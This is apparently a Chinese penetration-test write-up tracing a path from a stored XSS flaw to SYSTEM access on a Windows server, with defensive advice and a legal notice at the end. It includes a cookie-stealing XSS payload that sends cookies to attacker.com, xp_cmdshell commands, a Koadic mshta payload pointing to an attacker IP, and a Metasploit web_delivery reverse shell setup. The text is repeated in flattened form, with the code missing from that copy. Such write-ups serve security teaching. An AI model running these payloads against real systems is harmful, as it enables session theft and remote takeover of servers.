记一次由XSS一步一步获得服务器权限的渗透测试过程
字数 1228 2025-08-26 22:11:45

从XSS到服务器权限获取的渗透测试实战教学

1. 渗透测试概述

本次渗透测试的目标是通过XSS漏洞最终获取服务器权限,测试要求必须获得服务器权限或getshell才能得分,常规漏洞如XSS、CSRF或弱口令不计分。

2. 信息收集阶段

2.1 Google语法应用

使用Google语法寻找切入点:

site:子域名 intitle:注册/登录/系统

这种方法可以快速定位网站的可注册或登录页面。

3. XSS漏洞利用

3.1 漏洞发现

在个人信息提交处发现存储型XSS漏洞,该功能需要管理员审核用户提交的信息。

3.2 XSS Payload构造

构造XSS payload用于窃取管理员cookie:

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

3.3 Cookie窃取与利用

  1. 收到管理员cookie后,使用Chrome插件EditThisCookie替换本地cookie
  2. 成功以管理员身份进入后台

4. 绕过同源策略

4.1 同源策略原理

  • 同源定义:协议、端口和主机相同
  • Cookie共享:只有同源网页才能共享,但一级域名相同时可设置document.domain共享

4.2 实际应用

通过同源策略找到真正的管理员后台接口。

5. 权限提升

5.1 SQL命令执行

在后台找到SQL命令执行功能,使用xp_cmdshell执行系统命令:

exec master..xp_cmdshell 'powershell whoami'

确认服务器权限为system权限。

6. 反弹Shell技术

6.1 初始尝试

使用PowerShell反弹shell失败。

6.2 Koadic工具介绍

Koadic是一个后渗透工具,特点:

  • 使用Windows ScriptHost(JScript/VBScript)操作
  • 兼容Windows 2000到Windows 10
  • 兼容Python 2和Python 3

6.3 Koadic使用步骤

  1. 设置监听IP和端口
  2. 生成mshta payload:
http://attacker_ip/XXXX
  1. 通过xp_cmdshell执行命令反弹到Koadic

6.4 Koadic基本命令

cmdshell 0  # 进入cmd命令模式

7. 转移到Metasploit框架

7.1 MSF设置

使用web_delivery模块:

use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp_rc4
set SRVPORT 8081
set lhost XX.XX.XX.XXX
set reverselistenerbindaddress 172.xx.xx.182
run

7.2 生成PowerShell命令

在Koadic中执行生成的PowerShell命令,成功将shell转移到MSF。

8. 后渗透阶段

  1. 确认已获得system权限(无需提权)
  2. 检查内网环境(发现无域环境)
  3. 通过远程桌面查看服务器信息

9. 技术总结

  1. XSS深度利用:不应仅满足于弹窗验证,可尝试窃取cookie获取更高权限
  2. 工具链配合:结合Koadic和Metasploit实现复杂渗透
  3. 权限维持:从Web漏洞到系统权限的完整路径
  4. 信息收集重要性:持续的信息收集是渗透成功的关键

10. 防御建议

  1. 对所有用户输入进行严格过滤和转义
  2. 实施严格的CSP策略
  3. 禁用不必要的SQL Server功能如xp_cmdshell
  4. 管理员账户使用双因素认证
  5. 定期进行安全审计和渗透测试

11. 法律声明

所有渗透测试行为必须获得明确授权,未经授权的测试属于违法行为。

从XSS到服务器权限获取的渗透测试实战教学 1. 渗透测试概述 本次渗透测试的目标是通过XSS漏洞最终获取服务器权限,测试要求必须获得服务器权限或getshell才能得分,常规漏洞如XSS、CSRF或弱口令不计分。 2. 信息收集阶段 2.1 Google语法应用 使用Google语法寻找切入点: 这种方法可以快速定位网站的可注册或登录页面。 3. XSS漏洞利用 3.1 漏洞发现 在个人信息提交处发现存储型XSS漏洞,该功能需要管理员审核用户提交的信息。 3.2 XSS Payload构造 构造XSS payload用于窃取管理员cookie: 3.3 Cookie窃取与利用 收到管理员cookie后,使用Chrome插件EditThisCookie替换本地cookie 成功以管理员身份进入后台 4. 绕过同源策略 4.1 同源策略原理 同源定义:协议、端口和主机相同 Cookie共享:只有同源网页才能共享,但一级域名相同时可设置 document.domain 共享 4.2 实际应用 通过同源策略找到真正的管理员后台接口。 5. 权限提升 5.1 SQL命令执行 在后台找到SQL命令执行功能,使用xp_ cmdshell执行系统命令: 确认服务器权限为system权限。 6. 反弹Shell技术 6.1 初始尝试 使用PowerShell反弹shell失败。 6.2 Koadic工具介绍 Koadic是一个后渗透工具,特点: 使用Windows ScriptHost(JScript/VBScript)操作 兼容Windows 2000到Windows 10 兼容Python 2和Python 3 6.3 Koadic使用步骤 设置监听IP和端口 生成mshta payload: 通过xp_ cmdshell执行命令反弹到Koadic 6.4 Koadic基本命令 7. 转移到Metasploit框架 7.1 MSF设置 使用web_ delivery模块: 7.2 生成PowerShell命令 在Koadic中执行生成的PowerShell命令,成功将shell转移到MSF。 8. 后渗透阶段 确认已获得system权限(无需提权) 检查内网环境(发现无域环境) 通过远程桌面查看服务器信息 9. 技术总结 XSS深度利用 :不应仅满足于弹窗验证,可尝试窃取cookie获取更高权限 工具链配合 :结合Koadic和Metasploit实现复杂渗透 权限维持 :从Web漏洞到系统权限的完整路径 信息收集重要性 :持续的信息收集是渗透成功的关键 10. 防御建议 对所有用户输入进行严格过滤和转义 实施严格的CSP策略 禁用不必要的SQL Server功能如xp_ cmdshell 管理员账户使用双因素认证 定期进行安全审计和渗透测试 11. 法律声明 所有渗透测试行为必须获得明确授权,未经授权的测试属于违法行为。